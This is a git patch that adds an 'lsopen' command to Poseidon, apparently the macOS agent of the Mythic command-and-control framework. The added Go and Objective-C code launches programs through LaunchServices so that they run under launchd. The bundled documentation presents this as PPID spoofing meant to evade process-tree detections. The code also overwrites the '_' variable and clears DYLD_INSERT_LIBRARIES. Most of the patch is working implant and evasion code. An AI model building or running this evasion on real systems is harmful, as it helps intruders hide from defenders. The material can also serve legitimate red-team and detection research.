From e36ba7d8417a0a742fe27e2f3782635c20de82bf Mon Sep 17 00:00:00 2001 From: coolcoolnoworries <109013079+coolcoolnoworries@users.noreply.github.com> Date: Fri, 19 Jul 2024 02:21:17 -0400 Subject: [PATCH] pushing lsopen command pushing lsopen command --- .../poseidon/poseidon/agent_code/go.mod | 4 ++ .../poseidon/agent_code/lsopen/go.mod | 3 + .../poseidon/agent_code/lsopen/lsopen.go | 53 ++++++++++++++ .../agent_code/lsopen/lsopen_darwin.go | 69 ++++++++++++++++++ .../agent_code/lsopen/lsopen_darwin.h | 6 ++ .../agent_code/lsopen/lsopen_darwin.m | 70 +++++++++++++++++++ .../agent_code/lsopen/lsopen_linux.go | 21 ++++++ .../agent_code/pkg/tasks/newTasking.go | 3 + .../poseidon/agentfunctions/lsopen.go | 68 ++++++++++++++++++ .../poseidon/commands/lsopen.md | 48 +++++++++++++ 10 files changed, 345 insertions(+) create mode 100644 Payload_Type/poseidon/poseidon/agent_code/lsopen/go.mod create mode 100644 Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen.go create mode 100644 Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.go create mode 100644 Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.h create mode 100644 Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.m create mode 100644 Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_linux.go create mode 100644 Payload_Type/poseidon/poseidon/agentfunctions/lsopen.go create mode 100644 documentation-payload/poseidon/commands/lsopen.md diff --git a/Payload_Type/poseidon/poseidon/agent_code/go.mod b/Payload_Type/poseidon/poseidon/agent_code/go.mod index c2bafc3..195e528 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/go.mod +++ b/Payload_Type/poseidon/poseidon/agent_code/go.mod @@ -4,7 +4,11 @@ go 1.21 toolchain go1.22.2 + +replace github.com/coolcoolnoworries/poseidon/Payload_Type/poseidon/agent_code/lsopen => ./lsopen/ + require ( + github.com/coolcoolnoworries/poseidon/Payload_Type/poseidon/agent_code/lsopen v0.0.0-00010101000000-000000000000 github.com/creack/pty v1.1.21 github.com/djherbis/atime v1.1.0 github.com/google/uuid v1.6.0 diff --git a/Payload_Type/poseidon/poseidon/agent_code/lsopen/go.mod b/Payload_Type/poseidon/poseidon/agent_code/lsopen/go.mod new file mode 100644 index 0000000..08f7a8b --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/lsopen/go.mod @@ -0,0 +1,3 @@ +module github.com/coolcoolnoworries/poseidon/Payload_Type/poseidon/agent_code/lsopen + +go 1.18 diff --git a/Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen.go b/Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen.go new file mode 100644 index 0000000..1b1d874 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen.go @@ -0,0 +1,53 @@ +package lsopen + +import ( + // Standard + "encoding/json" + + // Poseidon + + "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs" +) + +type Arguments struct { + Application string `json:"application"` + HideApp bool `json:"hideApp"` + AppArgs []string `json:"appArgs"` +} + +func Run(task structs.Task) { + msg := structs.Response{} + msg.TaskID = task.TaskID + + args := Arguments{} + err := json.Unmarshal([]byte(task.Params), &args) + + if err != nil { + msg.UserOutput = err.Error() + msg.Completed = true + msg.Status = "error" + task.Job.SendResponses <- msg + return + } + + r, err := runCommand(args.Application, args.HideApp, args.AppArgs) + if err != nil { + msg.UserOutput = err.Error() + msg.Completed = true + msg.Status = "error" + task.Job.SendResponses <- msg + return + } + + if r.Successful { + msg.UserOutput = "Successfully spawned process." + msg.Completed = true + task.Job.SendResponses <- msg + } else { + msg.UserOutput = "Failed to spawn process." + msg.Completed = true + task.Job.SendResponses <- msg + } + + return +} diff --git a/Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.go b/Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.go new file mode 100644 index 0000000..fd49785 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.go @@ -0,0 +1,69 @@ +// +build darwin + +package lsopen + +/* +#cgo CFLAGS: -x objective-c -fmacro-backtrace-limit=0 -std=gnu11 -Wobjc-property-no-attribute -Wunguarded-availability-new +#cgo LDFLAGS: -framework Foundation -framework CoreServices +#include "lsopen_darwin.h" +#include +*/ +import "C" +import "unsafe" +import "os" + +type LSOpenDarwin struct { + Successful bool +} + +func (j *LSOpenDarwin) Success() bool { + return j.Successful +} + +func runCommand(app string, hide bool, args []string) (LSOpenDarwin, error) { + + capp := C.CString(app) + + var c_argc C.int = 0 + var c_argv **C.char = nil + var chide int + + if hide { + chide = 1 + } else { + chide = 0 + } + + ihide := C.int(chide) + + //prepping args to pass to function + c_argc = C.int(len(args) + 1) + cArgs := make([](*C.char), len(args)+2) + for i := range cArgs { + cArgs[i] = nil + } + cArgs[0] = C.CString(os.Args[0]) + for i, arg := range args { + cArgs[i+1] = C.CString(arg) + } + c_argv = (**C.char)(unsafe.Pointer(&cArgs[0])) + + + res := C.lsopen_init(capp, ihide, c_argv, c_argc) + + //free + for i := range cArgs { + if cArgs[i] != nil { + defer C.free(unsafe.Pointer(cArgs[i])) + } + } + + r := LSOpenDarwin{} + if res == 0 { + r.Successful = true + } else { + r.Successful = false + } + + return r, nil +} diff --git a/Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.h b/Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.h new file mode 100644 index 0000000..61bfe26 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.h @@ -0,0 +1,6 @@ +#ifndef launchservices_open_h +#define launchservices_open_h + +extern int lsopen_init(char* app, int hide, char * argv[], int c_argc); + +#endif /* launchservices_open_h */ \ No newline at end of file diff --git a/Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.m b/Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.m new file mode 100644 index 0000000..e949e7c --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_darwin.m @@ -0,0 +1,70 @@ +#import +#include "lsopen_darwin.h" + +#pragma clang diagnostic push +#pragma clang diagnostic ignored "-Wdeprecated-declarations" + +//referenced for base code - https://wojciechregula.blog/post/how-to-rob-a-firefox +//expanded with dynamic argument handling, "_" var stomping, and an unset to DYLD_INSERT_LIBRARIES to prevent inherited injections into new processes + +bool lsopen_call(NSString *path, bool hide, NSArray *arghhhs) { + FSRef appFSURL; + OSStatus stat = FSPathMakeRef((const UInt8 *)[path UTF8String], &appFSURL, NULL); + + NSDictionary *env = @{@"_":path}; + + unsetenv("DYLD_INSERT_LIBRARIES"); + if (stat != errSecSuccess) { + return false; + } + + LSApplicationParameters appParam; + appParam.version = 0; + + if (hide) { + appParam.flags = kLSLaunchAndHide; + } else { + appParam.flags = kLSLaunchDefaults; + } + + appParam.application = &appFSURL; + appParam.argv = (__bridge CFArrayRef) arghhhs; + appParam.environment = (__bridge CFDictionaryRef)env; + appParam.asyncLaunchRefCon = NULL; + appParam.initialEvent = NULL; + CFArrayRef array = (__bridge CFArrayRef)@[]; + + stat = LSOpenURLsWithRole(array, kLSRolesAll, NULL, &appParam, NULL, 0); + if (stat != errSecSuccess) { + return false; + } + return true; +} + +int lsopen_init(char *app, int hide, char * argv[], int argc) { + @try { + NSString *appPath = [NSString stringWithCString:app encoding:NSUTF8StringEncoding]; + + bool shouldHide = false; + if (hide == 1) { + shouldHide = true; + } + + NSMutableArray *argarray = [NSMutableArray array]; + for (int i = 0; i < argc; i++) { + NSString *str = [[NSString alloc] initWithCString:argv[i] encoding:NSUTF8StringEncoding]; + [argarray addObject:str]; + } + + NSRange rng = NSMakeRange(1, argc -1); + NSArray* applicationargs = [argarray subarrayWithRange:rng]; + + bool success = lsopen_call(appPath, shouldHide, applicationargs); + if (success != true) { + return -1; + } + return 0; + } @catch (NSException *exception) { + return -1; + } +} \ No newline at end of file diff --git a/Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_linux.go b/Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_linux.go new file mode 100644 index 0000000..0f56b75 --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agent_code/lsopen/lsopen_linux.go @@ -0,0 +1,21 @@ +// +build linux + +package lsopen + +import ( + "errors" +) + +type LSOpenLinux struct { + Successful bool +} + +func (j *LSOpenLinux) Success() bool { + return j.Successful +} + +func runCommand(app string, hide bool, args []string) (LSOpenLinux, error) { + n := LSOpenLinux{} + n.Successful = false + return n, errors.New("Not implemented") +} diff --git a/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go b/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go index 32e3dce..8414936 100644 --- a/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go +++ b/Payload_Type/poseidon/poseidon/agent_code/pkg/tasks/newTasking.go @@ -58,6 +58,7 @@ import ( "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/update_c2" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/upload" "github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/xpc" + "github.com/coolcoolnoworries/poseidon/Payload_Type/poseidon/agent_code/lsopen" "os" ) @@ -184,6 +185,8 @@ func listenForNewTask() { go link_webshell.Run(task) case "unlink_webshell": go unlink_webshell.Run(task) + case "lsopen": + go lsopen.Run(task) default: // No tasks, do nothing break diff --git a/Payload_Type/poseidon/poseidon/agentfunctions/lsopen.go b/Payload_Type/poseidon/poseidon/agentfunctions/lsopen.go new file mode 100644 index 0000000..b473adf --- /dev/null +++ b/Payload_Type/poseidon/poseidon/agentfunctions/lsopen.go @@ -0,0 +1,68 @@ +package agentfunctions + +import ( + agentstructs "github.com/MythicMeta/MythicContainer/agent_structs" +) + +func init() { + agentstructs.AllPayloadData.Get("poseidon").AddCommand(agentstructs.Command{ + Name: "lsopen", + HelpString: "lsopen {\"application\":[path],\"hideApp\":[boolean],\"appArgs\":[[arg1],[arg2],[arg3]...]}", + Description: "Use LaunchServices API to run applications and binaries out of PID 1 (launchd). Works as a ppid spoof to evade process tree detections.", + Version: 1, + MitreAttackMappings: []string{"T1036.009"}, + Author: "coolcoolnoworries", + CommandParameters: []agentstructs.CommandParameter{ + { + Name: "application", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_STRING, + Description: "Path to the target application/binary", + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + ParameterIsRequired: true, + UIModalPosition: 1, + }, + }, + }, + { + Name: "hideApp", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_BOOLEAN, + DefaultValue: false, + Description: "If true, launch the application with the kLSLaunchAndHide flag set. If false, use the kLSLaunchDefaults flag", + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + ParameterIsRequired: false, + UIModalPosition: 2, + }, + }, + }, + { + Name: "appArgs", + ParameterType: agentstructs.COMMAND_PARAMETER_TYPE_ARRAY, + Description: "Arguments to pass to application/binary", + ParameterGroupInformation: []agentstructs.ParameterGroupInfo{ + { + ParameterIsRequired: true, + UIModalPosition: 3, + }, + }, + }, + }, + CommandAttributes: agentstructs.CommandAttribute{ + SupportedOS: []string{agentstructs.SUPPORTED_OS_MACOS}, + }, + TaskFunctionParseArgString: func(args *agentstructs.PTTaskMessageArgsData, input string) error { + return args.LoadArgsFromJSONString(input) + }, + TaskFunctionParseArgDictionary: func(args *agentstructs.PTTaskMessageArgsData, input map[string]interface{}) error { + return args.LoadArgsFromDictionary(input) + }, + TaskFunctionCreateTasking: func(task *agentstructs.PTTaskMessageAllData) agentstructs.PTTaskCreateTaskingMessageResponse { + response := agentstructs.PTTaskCreateTaskingMessageResponse{ + Success: true, + TaskID: task.Task.ID, + } + return response + }, + }) +} diff --git a/documentation-payload/poseidon/commands/lsopen.md b/documentation-payload/poseidon/commands/lsopen.md new file mode 100644 index 0000000..02e1071 --- /dev/null +++ b/documentation-payload/poseidon/commands/lsopen.md @@ -0,0 +1,48 @@ ++++ +title = "lsopen" +chapter = false +weight = 116 +hidden = false ++++ + +## Summary +Use LaunchServices API to run applications and binaries out of PID 1 (launchd). Works as a PPID spoof to evade process tree detections. + +- Needs Admin: False +- Version: 1 +- Author: @coolcoolnoworries + +### Arguments + +#### application + +- Description: Path to the target application/binary +- Required Value: True +- Default Value: None + +#### hideApp + +- Description: If true, launch the application with the kLSLaunchAndHide flag set. If false, use the kLSLaunchDefaults flag +- Required Value: False +- Default Value: None + +#### appArgs + +- Description: Arguments to pass to application/binary +- Required Value: True +- Default Value: None + +## Usage + +``` +lsopen {"application":[path],"hideApp":[boolean],"appArgs":[[arg1],[arg2],[arg3]...]} +``` + +## MITRE ATT&CK Mapping + +- T1036.009 +## Detailed Summary + +The lsopen command uses the LaunchServices API to run applications and binaries directly out of PID 1 (launchd), the macOS equivalent of explorer.exe on Windows. Where "shell" and "run" commands directly spawn processes as children, lsopen can be used as a form of PPID spoofing. This is especially helpful to evade detections built around strange process trees. + +Note that application/binary output is not accessible when run through lsopen, since the parent process is no longer the poseidon payload. If the application/binary has an output argument (like nmap -o), that can be used as a workaround to this limitation.